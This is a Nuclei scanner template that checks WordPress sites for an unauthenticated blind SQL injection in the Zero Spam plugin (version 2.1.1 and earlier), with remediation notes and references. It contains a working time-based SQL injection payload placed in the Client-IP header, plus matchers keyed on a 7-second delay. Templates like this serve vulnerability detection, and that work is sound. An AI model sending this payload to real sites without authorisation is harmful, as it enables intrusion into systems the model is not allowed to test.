nuclei-templates/http/vulnerabilities/wordpress/zero-spam-sql-injection.yaml

36 lines
1.1 KiB
YAML

id: zero-spam-sql-injection
info:
name: WordPress Zero Spam <= 2.1.1 - Blind SQL Injection
author: theamanrawat
severity: critical
description: |
The WordPress Zero Spam WordPress plugin was affected by an Unauthenticated Blind SQL Injection security vulnerability.
remediation: Fixed in version 2.2.0
reference:
- https://wpscan.com/vulnerability/44cc8d59-9b45-46b7-afaf-894e4ba62dd5
- https://wordpress.org/plugins/zero-spam/
metadata:
verified: true
max-request: 1
tags: wpscan,wp,wp-plugin,wordpress,zero-spam,sqli,unauth
http:
- raw:
- |
@timeout: 10s
GET / HTTP/1.1
Host: {{Hostname}}
Client-IP: '+(select(0)from(select(sleep(7)))v)+'
matchers:
- type: dsl
dsl:
- 'duration>=7'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "zerospam-js")'
condition: and
# digest: 4b0a00483046022100e3bfba15a72ac2cdc4fea28e066640859930a59abd2c016a2c3ad36fccca4072022100b20649152abf3ec807a126cc48618751466e929e4794c2b1b501a6b2755d341d:922c64590222798bb761d5b6d8e72950